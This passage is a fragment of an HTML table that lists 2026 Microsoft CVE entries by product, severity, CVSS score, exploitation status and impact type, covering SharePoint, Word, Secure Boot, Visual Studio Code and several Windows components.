  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
